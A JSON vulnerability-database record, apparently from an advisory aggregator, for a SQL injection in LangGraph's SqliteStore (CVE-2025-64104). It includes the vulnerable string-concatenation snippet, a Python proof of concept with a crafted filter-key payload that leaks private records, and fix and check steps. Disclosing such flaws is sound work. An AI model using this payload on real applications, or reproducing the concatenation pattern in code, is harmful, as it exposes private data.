{"id":"CVE-2025-64104","kind":"vulnerability","aliases":["CVE-2025-64104","GHSA-7p73-8jqx-23r8"],"related":[],"title":"LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStore","description":"### Summary\nLangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.\n\n### Details\n[`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`](https://github.com/langchain-ai/langgraph/blob/ee5d052a07aadd76dae123a27009ea0a3694fa0a/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py#L407)\n\nThe key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.\n\n```python\n  filter_conditions.append(\n      \"json_extract(value, '$.\"\n      + key  # <-- Directly concatenated, no escaping!\n      + \"') = '\"\n      + value.replace(\"'\", \"''\")  # <-- Only value is escaped\n      + \"'\"\n  )\n```\n\n### Who is affected\n\nThis issue affects **only developers or projects that directly use the `checkpoint-sqlite` store**. \n\nAn application is vulnerable only if it:\n1. Instantiates the `SqliteStore` from the `checkpoint-sqlite` package, **and**\n2. Builds the `filter` argument using keys derived from **untrusted or user-supplied input** (such as query parameters, request bodies, or other external data).\n\nIf filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.\n\nNote: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n\n```python\n#!/usr/bin/env python3\n\"\"\"Minimal SQLite Key Injection POC for LangGraph\"\"\"\n\nfrom langgraph.store.sqlite import SqliteStore\n\n# Create store with test data\nwith SqliteStore.from_conn_string(\":memory:\") as store:\n    store.setup()\n    \n    # Add public and private documents\n    store.put((\"docs\",), \"public\", {\"access\": \"public\", \"data\": \"public info\"})\n    store.put((\"docs\",), \"private\", {\"access\": \"private\", \"data\": \"secret\", \"password\": \"123\"})\n    \n    # Normal query - returns 1 public document\n    normal = store.search((\"docs\",), filter={\"access\": \"public\"})\n    print(f\"Normal query: {len(normal)} docs\")\n    \n    # SQL injection via malicious key\n    malicious_key = \"access') = 'public' OR '1'='1' OR json_extract(value, '$.\"\n    injected = store.search((\"docs\",), filter={malicious_key: \"dummy\"})\n    \n    print(f\"Injected query: {len(injected)} docs\")\n    for doc in injected:\n        if doc.value.get(\"access\") == \"private\":\n            print(f\"LEAKED: {doc.value}\")\n```","summary":"The SqliteStore in langgraph-checkpoint-sqlite builds JSON path filter queries by concatenating filter keys directly into SQL. An attacker who controls those keys can inject SQL to read records they should not see, including private documents.","severity":"high","cvss":7.3,"epss":0.00241,"exploited":false,"exploited_at":null,"products":[{"name":"langgraph-checkpoint-sqlite","fixed":["2.0.11"],"affected":"<= 2.0.10","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["ai-tooling","cwe-89","langgraph","langgraph-checkpoint-sqlite","python","sqlite"],"not_affected_if":["allowlisted-filter-keys","managed-hosting","sqlite-store-not-used","static-filter-keys"],"how_to_check":"- Run `pip show langgraph-checkpoint-sqlite` and check whether the version is `2.0.10` or lower.\n- Search your code for `SqliteStore` and check whether any `filter=` argument uses keys taken from request parameters, request bodies or other user input.","fix":"- Upgrade `langgraph-checkpoint-sqlite` to `2.0.11` or later.\n- Until you upgrade, allowlist or validate filter keys before passing them to `SqliteStore.search`.","status":"open","published_at":"2025-10-29T19:15:39+00:00","first_seen_at":"2026-10-28T21:12:45+00:00","triaged_at":"2026-10-28T21:13:52+00:00","updated_at":"2026-10-28T21:35:45+00:00","category":"ai-tooling","confidence":0.8,"triage":{"at":"2026-10-28T21:13:52Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade `langgraph-checkpoint-sqlite` to `2.0.11` or later.\n- Until you upgrade, allowlist or validate filter keys before passing them to `SqliteStore.search`.","reach":"unknown","title":"LangGraph SQLite store: filter keys allow SQL injection and data leaks","impact":"high","summary":"The SqliteStore in langgraph-checkpoint-sqlite builds JSON path filter queries by concatenating filter keys directly into SQL. An attacker who controls those keys can inject SQL to read records they should not see, including private documents.","category":"ai-tooling","nicknames":[],"who_cares":["langgraph","python","sqlite","langgraph-checkpoint-sqlite"],"confidence":0.8,"needs_auth":"unknown","worst_case":"Attacker reads private records by injecting SQL through filter keys","analyst_note":"","how_to_check":"- Run `pip show langgraph-checkpoint-sqlite` and check whether the version is `2.0.10` or lower.\n- Search your code for `SqliteStore` and check whether any `filter=` argument uses keys taken from request parameters, request bodies or other user input.","needs_analyst":false,"not_affected_if":["static-filter-keys","allowlisted-filter-keys","managed-hosting","sqlite-store-not-used"],"who_is_affected":"Only applications that instantiate SqliteStore from langgraph-checkpoint-sqlite are exposed. The risk applies when the filter argument is built from untrusted input such as query parameters or request bodies. Static filter keys, or keys validated against an allowlist, are not at risk, and LangSmith deployments are not affected.","user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"high"},"cost_usd":0.001327,"input_tokens":4264,"output_tokens":1801,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-2025':12A,20A '-64104':13A,21A '-89':30B '/langchain-ai/langgraph/blob/ee5d052a07aadd76dae123a27009ea0a3694fa0a/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py#l407)':107C '/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py':104C '/usr/bin/env':261C '1':173C,312C,338C,339C '123':308C '2':184C '23r8':18A '7p73':16A '8jqx':17A 'access':101C,295C,303C,319C,335C,364C 'add':287C 'affect':150C,153C,239C 'ai':27B 'ai-tool':26B 'allow':93C 'appli':226C 'applic':167C 'arbitrari':97C 'argument':188C 'attack':58B,94C 'bodi':204C 'build':45B,185C 'bypass':100C 'checkpoint':3A,24A,34B,43B,163C,180C,247C 'checkpoint-sqlit':162C,179C 'complet':250C 'concaten':51B,89C,116C,140C 'configur':254C 'conn':281C 'contain':82C 'control':60B,102C 'creat':274C 'cve':11A,19A 'cwe':29B 'data':208C,278C,297C,305C 'deploy':231C,242C 'deriv':191C 'detail':103C,255C 'develop':155C 'differ':128C,246C 'direct':54B,87C,117C,139C,159C 'doc':293C,301C,317C,327C,346C,357C,359C 'doc.value':369C 'doc.value.get':363C 'document':75B,291C,314C 'dummi':350C 'escap':142C,147C 'extern':207C 'extract':136C,342C 'f':322C,352C,367C 'file':132C 'filter':4A,48B,52B,187C,210C,318C,347C 'filter_conditions.append':134C 'ghsa':15A 'ghsa-7p73-8jqx-23r8':14A 'github.com':106C 'github.com/langchain-ai/langgraph/blob/ee5d052a07aadd76dae123a27009ea0a3694fa0a/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py#l407)':105C 'implement':81C,248C 'import':272C 'includ':73B,252C 'info':299C 'inject':7A,64B,84C,96C,266C,329C,344C,353C,356C,361C 'input':198C 'instanti':174C 'instruct':251C 'issu':152C 'json':46B,113C,135C,341C 'key':5A,53B,62B,109C,138C,190C,211C,265C,332C,334C,349C 'known':233C 'langgraph':1A,23A,31B,33B,42B,77C,235C,269C 'langgraph-checkpoint-sqlit':32B,41B 'langgraph-checkpoint-sqlite':22A 'langgraph.store.sqlite':271C 'langsmith':230C 'leak':368C 'len':325C,355C 'malici':331C,333C,348C 'memori':283C 'minim':263C 'normal':309C,315C,323C,326C 'note':227C 'occurr':129C 'packag':182C 'paramet':202C 'parameter':92C 'pass':218C 'password':307C 'path':47B,114C 'platform':236C 'poc':8A,249C,267C 'portion':110C 'previous':232C 'print':321C,351C,366C 'privat':74B,290C,302C,304C,365C 'project':157C 'proper':91C 'public':288C,294C,296C,298C,313C,320C,336C 'python':36B,133C,260C 'python3':262C 'queri':49B,201C,310C,324C,354C 'read':67B 'record':68B 'reli':243C 'reproduc':257C 'request':203C 'return':311C 'risk':223C 'sanit':123C 'secret':306C 'see':72B 'specif':253C 'sql':6A,56B,65B,83C,98C,120C,328C 'sqlite':2A,25A,35B,37B,44B,79C,164C,181C,264C 'sqlitestor':10A,39B,176C,273C 'sqlitestore.from':280C 'static':213C 'store':80C,165C,221C,275C,285C 'store.put':292C,300C 'store.search':316C,345C 'store.setup':286C 'string':88C,121C,282C 'summari':76C 'suppli':197C 'test':277C 'tool':28B 'untrust':193C 'use':86C,160C,189C 'user':196C,228C 'user-suppli':195C 'validated/allowlisted':215C 'valu':137C,145C,343C 'value.replace':143C 'via':330C 'vulner':85C,169C 'vulnerability._':259C 'within':130C 'without':90C,122C","nicknames":[],"mitigations":[],"who_affected":"Only applications that instantiate SqliteStore from langgraph-checkpoint-sqlite are exposed. The risk applies when the filter argument is built from untrusted input such as query parameters or request bodies. Static filter keys, or keys validated against an allowlist, are not at risk, and LangSmith deployments are not affected.","tier":"B","verified":{},"analyst_revisit_at":null,"first_public_at":"2025-10-29T19:15:39+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-7p73-8jqx-23r8","url":"https://github.com/advisories/GHSA-7p73-8jqx-23r8","severity":"high","published_at":"2025-10-29T22:21:43+00:00","modified_at":"2026-10-28T21:08:45+00:00","first_seen_at":"2026-10-28T21:12:45+00:00","fetched_at":"2026-10-28T21:12:45+00:00","note":null},{"source":"nvd","external_id":"CVE-2025-64104","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-64104","severity":null,"published_at":"2025-10-29T19:15:39+00:00","modified_at":"2026-10-08T11:10:00+00:00","first_seen_at":"2026-10-28T21:35:45+00:00","fetched_at":"2026-10-28T21:35:45+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}